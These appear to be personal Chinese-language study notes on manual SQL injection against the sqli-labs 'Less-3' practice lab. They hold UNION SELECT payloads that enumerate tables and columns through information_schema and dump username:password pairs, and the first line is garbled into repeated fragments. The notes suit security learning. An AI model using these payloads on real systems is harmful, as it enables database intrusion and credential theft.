后台sql
s q l = " S E L E C T ∗ F R O M u s e r s W H E R E i d = sql = "SELECT * FROM users WHERE id= sql="SELECT∗FROMusersWHEREid=id LIMIT 0,1";
注入语句
http://192.168.200.26/Less-3/?id=-1? union select 1,2,database();–+
使用id=-1 便可以显示union的内容了
使用–+注释掉 limit后面的内容
group_concat(table_name) 去重
通过回显判断闭合方式
尝试手工注入流程:
1.判断有无注入点 and 1 = 1; true
SQL注入:
随便输入内容 == 报错 注入
== 没有注入
2.猜解列名数量 order by %20 空格
字段 4个
3.报错,判断回显点 union
4.信息收集
数据库版本 version()
高版本:5.0
系统库: infromation 。。。
数据库名称:database()
低版本:5.0 (低版本没有系统库)
5.使用对应SQL进行注入
查询出表名
数据库库名:security
. 下一级
infromation_schema.tables 查找表名
table_name
查询serurity库下面 所有的表名
database()
= 前后 连到一起
union select 1,group_concat(table_name),3 from information_schema.tables
where table_schema=database()
查询出所以密码
表: users
如何查询表里面有那些字段?
user 字符 转行 16进制
union select 1,group_concat(column_name),3 from information_schema.columns
where table_name=0x7573657273
username password 字段数据
select username,password from users
0x3a :
union select 1,2,(select group_concat(username,0x3a,password)from users)